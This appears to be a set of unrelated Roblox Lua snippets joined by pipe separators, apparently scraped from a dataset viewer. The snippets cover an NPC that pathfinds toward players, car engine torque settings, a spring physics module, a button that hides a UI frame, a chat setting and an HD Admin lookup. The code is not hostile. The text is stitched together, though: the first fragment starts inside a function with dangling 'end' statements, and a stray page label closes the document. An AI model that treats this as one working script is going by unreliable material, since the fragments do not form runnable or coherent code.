wait(math.random(4, 6))
isWandering = 0
end
end)
end
while wait() do
local enemytorso = GetTorso(hroot.Position)
if enemytorso ~= nil then -- if player detected
isWandering = 1
local function checkw(t)
local ci = 3
if ci > #t then
ci = 3
end
if t[ci] == nil and ci < #t then
repeat
ci = ci + 1
wait()
until t[ci] ~= nil
return Vector3.new(1, 0, 0) + t[ci]
else
ci = 3
return t[ci]
end
end
path = pfs:FindPathAsync(hroot.Position, enemytorso.Position)
waypoint = path:GetWaypoints()
oldpoints = waypoint
local connection;
local direct = Vector3.FromNormalId(Enum.NormalId.Front)
local ncf = hroot.CFrame * CFrame.new(direct)
direct = ncf.p.unit
local rootr = Ray.new(hroot.Position, direct)
local phit, ppos = game.Workspace:FindPartOnRay(rootr, hroot)
if path and waypoint or checkw(waypoint) then
if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Walk then
human:MoveTo( checkw(waypoint).Position )
human.Jump = false
end
-- CANNOT LET BALDI JUMPS --
--[[if checkw(waypoint) ~= nil and checkw(waypoint).Action == Enum.PathWaypointAction.Jump then
human.Jump = true
connection = human.Changed:connect(function()
human.Jump = true
end)
human:MoveTo( checkw(waypoint).Position )
else
human.Jump = false
end]]
--[[hroot.Touched:connect(function(p)
local bodypartnames = GetPlayersBodyParts(enemytorso)
if p:IsA'Part' and not p.Name == bodypartnames and phit and phit.Name ~= bodypartnames and phit:IsA'Part' and rootr:Distance(phit.Position) < 5 then
connection = human.Changed:connect(function()
human.Jump = true
end)
else
human.Jump = false
end
end)]]
if connection then
connection:Disconnect()
end
else
for i = 3, #oldpoints do
human:MoveTo( oldpoints[i].Position )
end
end
elseif enemytorso == nil and canWander then -- if player not detected
isWandering = 0
path = nil
waypoint = nil
human.MoveToFinished:Wait()
end
end
|
-- Hello, User removing this script will break the board. If you need to ask something dm Yeah_Ember | |
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 1750 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 7700 -- Use sliders to manipulate values
Tune.Redline = 8000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--//Services//-- |
local TweenService = game:GetService("TweenService")
local MPS = game:GetService("MarketplaceService")
|
--[[Shutdown]] |
car.Body.CarName.Value.VehicleSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") then
script.Parent:Destroy()
end
end)
|
--do -- springs, ok, totally not from treyreynolds |
--local runtime = game ("GetService", "RunService")
local t = 0
spring = {mt = {}}
spring.mt.__index = spring
function spring.new( initial )
local t0 = tick()
local p0 = initial or 0
local v0 = initial and 0 * initial or 0
local t = initial or 0
local d = 1
local s = 1
local function positionvelocity(tick)
local x =tick-t0
local c0 =p0-t
if s==0 then
return p0,0
elseif d<1 then
local c =(1-d*d)^0.5
local c1 =(v0/s+d*c0)/c
local co =math.cos(c*s*x)
local si =math.sin(c*s*x)
local e =2.718281828459045^(d*s*x)
return t+(c0*co+c1*si)/e,
s*((c*c1-d*c0)*co-(c*c0+d*c1)*si)/e
else
local c1 =v0/s+c0
local e =2.718281828459045^(s*x)
return t+(c0+c1*s*x)/e,
s*(c1-c0-c1*s*x)/e
end
end
return setmetatable({},{
__index=function(_, index)
if index == "value" or index == "position" or index == "p" then
local p,v = positionvelocity(tick())
return p
elseif index == "velocity" or index == "v" then
local p,v = positionvelocity(tick())
return v
elseif index == "acceleration" or index == "a" then
local x = tick()-t0
local c0 = p0-t
if s == 0 then
return 0
elseif d < 1 then
local c =(1-d*d)^0.5
local c1 = (v0/s+d*c0)/c
return s*s*((d*d*c0-2*c*d*c1-c*c*c0)*math.cos(c*s*x)
+(d*d*c1+2*c*d*c0-c*c*c1)*math.sin(c*s*x))
/2.718281828459045^(d*s*x)
else
local c1 = v0/s+c0
return s*s*(c0-2*c1+c1*s*x)
/2.718281828459045^(s*x)
end
elseif index == "target" or index == "t" then
return t
elseif index == "damper" or index == "d" then
return d
elseif index == "speed" or index == "s" then
return s
end
end;
__newindex=function(_, index, value)
local time = tick()
if index == "value" or index == "position" or index == "p" then
local p,v = positionvelocity(time)
p0, v0 = value, v
elseif index == "velocity" or index == "v" then
local p,v = positionvelocity(time)
p0, v0 = p, value
elseif index == "acceleration" or index == "a" then
local p, v = positionvelocity(time)
p0, v0 = p, v + value
elseif index == "target" or index == "t" then
p0, v0 = positionvelocity(time)
t = value
elseif index == "damper" or index == "d" then
p0, v0 = positionvelocity(time)
d = value < 0 and 0 or value < 1 and value or 1
elseif index == "speed" or index == "s" then
p0, v0 = positionvelocity(time)
s = value < 0 and 0 or value
end
t0 = time
end;
})
end
return spring
|
--script.Parent.Parent.Visible = true |
script.Parent.MouseButton1Click:connect(function() script.Parent.Parent.Visible = false end)
|
-- To make sure whispering behavior remains consistent, this is currently set at 50 characters |
module.MaxChannelNameCheckLength = 50 |
-- << RETRIEVE FRAMEWORK >> |
local main = _G.HDAdminMain
|
Subsets and Splits